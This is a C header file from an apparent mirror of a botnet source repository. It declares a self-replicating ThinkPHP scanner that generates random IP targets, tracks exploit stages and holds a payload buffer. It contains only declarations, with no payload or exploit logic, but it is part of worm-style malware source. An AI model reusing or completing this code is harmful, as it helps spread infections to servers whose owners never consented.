mirror of https://github.com/threatland/TL-BOTS
40 lines
773 B
C
40 lines
773 B
C
#ifdef SELFREP
|
|
|
|
#pragma once
|
|
|
|
#include <stdint.h>
|
|
|
|
#include "includes.h"
|
|
|
|
#define Thinkphp_SCANNER_MAX_CONNS 128
|
|
#define Thinkphp_SCANNER_RAW_PPS 160
|
|
|
|
#define Thinkphp_SCANNER_RDBUF_SIZE 256
|
|
#define Thinkphp_SCANNER_HACK_DRAIN 64
|
|
|
|
struct Thinkphp_scanner_connection
|
|
{
|
|
int fd, last_recv;
|
|
enum
|
|
{
|
|
Thinkphp_SC_CLOSED,
|
|
Thinkphp_SC_CONNECTING,
|
|
Thinkphp_SC_EXPLOIT_STAGE2,
|
|
Thinkphp_SC_EXPLOIT_STAGE3,
|
|
} state;
|
|
ipv4_t dst_addr;
|
|
uint16_t dst_port;
|
|
int rdbuf_pos;
|
|
char rdbuf[Thinkphp_SCANNER_RDBUF_SIZE];
|
|
char payload_buf[1024];
|
|
};
|
|
|
|
void Thinkphp_scanner();
|
|
void Thinkphp_kill(void);
|
|
|
|
static void Thinkphp_setup_connection(struct Thinkphp_scanner_connection *);
|
|
static ipv4_t Thinkphp_get_random_ip(void);
|
|
|
|
#endif
|
|
|